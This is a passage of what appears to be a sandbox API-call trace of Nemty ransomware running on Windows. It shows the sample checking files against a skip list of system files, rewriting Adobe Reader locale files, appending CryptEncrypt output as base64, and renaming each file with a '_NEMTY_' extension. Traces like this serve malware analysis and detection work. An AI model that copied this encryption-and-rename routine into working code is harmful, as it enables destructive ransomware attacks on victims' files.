(HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0179.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0179.732] Sleep (dwMilliseconds=0x5) [0179.741] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ec7e770, dwHighDateTime=0x1d561e8)) [0179.741] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ec7e770, dwHighDateTime=0x1d561e8)) [0179.741] GetLastError () returned 0x12 [0179.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.741] GetLastError () returned 0x12 [0179.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.741] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.741] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.742] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0179.742] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="hoBoTbQjLYmTyB2WGiSF2b9tor0QqQBwHFUs8xw7NWbeczDtP7UrJyQM6n1HtBml\r\ncYi2NUCMsepmMwb9OQGkVutOIe30C+yzkW63o98gmu5/rgCFZ2sS+EslDOUxlCwy\r\nyeY5TZYX1J5cb/5tLHnHslvDLUOzsOY0xNbldiYUNlXO6Dk26QZ5JYnR07zbhUwP\r\neC3zv+YYjcCXyqrwiRp9QT8hnteQEjbkvgyB6x7Q9CcjDxPfDnCB9f1QSVlecW3M\r\nhpxQTlVS/ikb1dPBPDRdGww3ZSeDo2PrzNBJ0S78DG30UyiMwnAbrdNN9THGNuyl\r\nNs0zCkaBfN6fSU+nlkrMNg==\r\n", pcchString=0x653e5dc) returned 1 [0179.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0179.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.742] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Spelling.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\spelling.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.742] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=8704) returned 1 [0179.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2200) returned 0x6352c48 [0179.742] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.742] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2200, lpOverlapped=0x0) returned 1 [0179.744] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.744] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2200, lpOverlapped=0x0) returned 1 [0179.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.744] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=8704, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2200 [0179.745] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.745] CloseHandle (hObject=0x2e8) returned 1 [0179.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0179.745] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.745] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0179.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0179.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0179.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.745] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Spelling.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\spelling.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Spelling.KOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\spelling.kor._nemty_kgobjgd_")) returned 1 [0179.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0179.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0179.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.746] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4e4720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="updater.KOR", cAlternateFileName="")) returned 1 [0179.746] lstrcmpiW (lpString1="updater.KOR", lpString2=".") returned 1 [0179.746] lstrcmpiW (lpString1="updater.KOR", lpString2="..") returned 1 [0179.746] lstrcmpiW (lpString1="updater.KOR", lpString2="...") returned 1 [0179.746] lstrcmpiW (lpString1="updater.KOR", lpString2="windows") returned -1 [0179.746] lstrcmpiW (lpString1="updater.KOR", lpString2="$RECYCLE.BIN") returned 1 [0179.746] lstrcmpiW (lpString1="updater.KOR", lpString2="rsa") returned 1 [0179.746] lstrcmpiW (lpString1="updater.KOR", lpString2="NTDETECT.COM") returned 1 [0179.746] lstrcmpiW (lpString1="updater.KOR", lpString2="ntldr") returned 1 [0179.746] lstrcmpiW (lpString1="updater.KOR", lpString2="MSDOS.SYS") returned 1 [0179.746] lstrcmpiW (lpString1="updater.KOR", lpString2="IO.SYS") returned 1 [0179.746] lstrcmpiW (lpString1="updater.KOR", lpString2="boot.ini") returned 1 [0179.746] lstrcmpiW (lpString1="updater.KOR", lpString2="boot.ini") returned 1 [0179.746] lstrcmpiW (lpString1="updater.KOR", lpString2="AUTOEXEC.BAT") returned 1 [0179.746] lstrcmpiW (lpString1="updater.KOR", lpString2="ntuser.dat") returned 1 [0179.746] lstrcmpiW (lpString1="updater.KOR", lpString2="desktop.ini") returned 1 [0179.746] lstrcmpiW (lpString1="updater.KOR", lpString2="CONFIG.SYS") returned 1 [0179.746] lstrcmpiW (lpString1="updater.KOR", lpString2="RECYCLER") returned 1 [0179.746] lstrcmpiW (lpString1="updater.KOR", lpString2="BOOTSECT.BAK") returned 1 [0179.746] lstrcmpiW (lpString1="updater.KOR", lpString2="bootmgr") returned 1 [0179.746] lstrcmpiW (lpString1="updater.KOR", lpString2="programdata") returned 1 [0179.746] lstrcmpiW (lpString1="updater.KOR", lpString2="appdata") returned 1 [0179.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.KOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.KOR", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.KOR", lpUsedDefaultChar=0x0) returned 11 [0179.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.747] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.KOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.747] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.KOR", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.KOR", lpUsedDefaultChar=0x0) returned 11 [0179.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.747] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.KOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.747] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.KOR", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.KOR", lpUsedDefaultChar=0x0) returned 11 [0179.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.747] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.KOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.747] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.KOR", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.KOR", lpUsedDefaultChar=0x0) returned 11 [0179.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0179.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.747] Sleep (dwMilliseconds=0x5) [0179.756] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1eca48d0, dwHighDateTime=0x1d561e8)) [0179.756] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1eca48d0, dwHighDateTime=0x1d561e8)) [0179.757] GetLastError () returned 0x0 [0179.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.757] GetLastError () returned 0x0 [0179.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.757] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.757] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.757] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0179.757] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="P9mOOUNCpUWawDwXqStq5Owb/qzmXL8aEl/R++8L5ocqlbgkaA5mE7Pn/N6RTcVb\r\nh2fVZYGkzZwBtUD9aLXkxz/eqA+2nt7VTqyhU0RHSXM1vJDbNsKfEw5eC301nteI\r\nzwL7L0wtPw1mpNzYFnj+MCZXQ0a0TLVIxu2h+A7gGmu/E30XVjaK61dkRaCLgnBt\r\neJl7MQfbH0zXCE37Ytg2YvoAS1S5/mdkLz3zycVES5gW/3BbBwC3KHsVkxOCjcoH\r\na9loP3BqxYGPHFuand/CSCZyAAwjYmMZ/Ihj2F60tMgViPsTxBWfnzUAzGW+b7hO\r\n7/tGjgJBs71fxqk6t+qGEQ==\r\n", pcchString=0x653e5dc) returned 1 [0179.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0179.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.757] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\updater.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\updater.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.758] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=8192) returned 1 [0179.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2000) returned 0x6352c48 [0179.758] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.758] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2000, lpOverlapped=0x0) returned 1 [0179.760] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.760] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2000, lpOverlapped=0x0) returned 1 [0179.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.760] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2000 [0179.760] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.760] CloseHandle (hObject=0x2e8) returned 1 [0179.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0179.760] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.760] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0179.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0179.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0179.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.760] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\updater.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\updater.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\updater.KOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\updater.kor._nemty_kgobjgd_")) returned 1 [0179.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0179.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0179.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.761] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bf03e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Weblink.KOR", cAlternateFileName="")) returned 1 [0179.761] lstrcmpiW (lpString1="Weblink.KOR", lpString2=".") returned 1 [0179.761] lstrcmpiW (lpString1="Weblink.KOR", lpString2="..") returned 1 [0179.761] lstrcmpiW (lpString1="Weblink.KOR", lpString2="...") returned 1 [0179.761] lstrcmpiW (lpString1="Weblink.KOR", lpString2="windows") returned -1 [0179.761] lstrcmpiW (lpString1="Weblink.KOR", lpString2="$RECYCLE.BIN") returned 1 [0179.761] lstrcmpiW (lpString1="Weblink.KOR", lpString2="rsa") returned 1 [0179.761] lstrcmpiW (lpString1="Weblink.KOR", lpString2="NTDETECT.COM") returned 1 [0179.761] lstrcmpiW (lpString1="Weblink.KOR", lpString2="ntldr") returned 1 [0179.761] lstrcmpiW (lpString1="Weblink.KOR", lpString2="MSDOS.SYS") returned 1 [0179.761] lstrcmpiW (lpString1="Weblink.KOR", lpString2="IO.SYS") returned 1 [0179.761] lstrcmpiW (lpString1="Weblink.KOR", lpString2="boot.ini") returned 1 [0179.762] lstrcmpiW (lpString1="Weblink.KOR", lpString2="boot.ini") returned 1 [0179.762] lstrcmpiW (lpString1="Weblink.KOR", lpString2="AUTOEXEC.BAT") returned 1 [0179.762] lstrcmpiW (lpString1="Weblink.KOR", lpString2="ntuser.dat") returned 1 [0179.762] lstrcmpiW (lpString1="Weblink.KOR", lpString2="desktop.ini") returned 1 [0179.762] lstrcmpiW (lpString1="Weblink.KOR", lpString2="CONFIG.SYS") returned 1 [0179.762] lstrcmpiW (lpString1="Weblink.KOR", lpString2="RECYCLER") returned 1 [0179.762] lstrcmpiW (lpString1="Weblink.KOR", lpString2="BOOTSECT.BAK") returned 1 [0179.762] lstrcmpiW (lpString1="Weblink.KOR", lpString2="bootmgr") returned 1 [0179.762] lstrcmpiW (lpString1="Weblink.KOR", lpString2="programdata") returned 1 [0179.762] lstrcmpiW (lpString1="Weblink.KOR", lpString2="appdata") returned 1 [0179.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.KOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.KOR", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.KOR", lpUsedDefaultChar=0x0) returned 11 [0179.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.KOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.KOR", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.KOR", lpUsedDefaultChar=0x0) returned 11 [0179.762] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.762] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.KOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.KOR", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.KOR", lpUsedDefaultChar=0x0) returned 11 [0179.762] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.762] 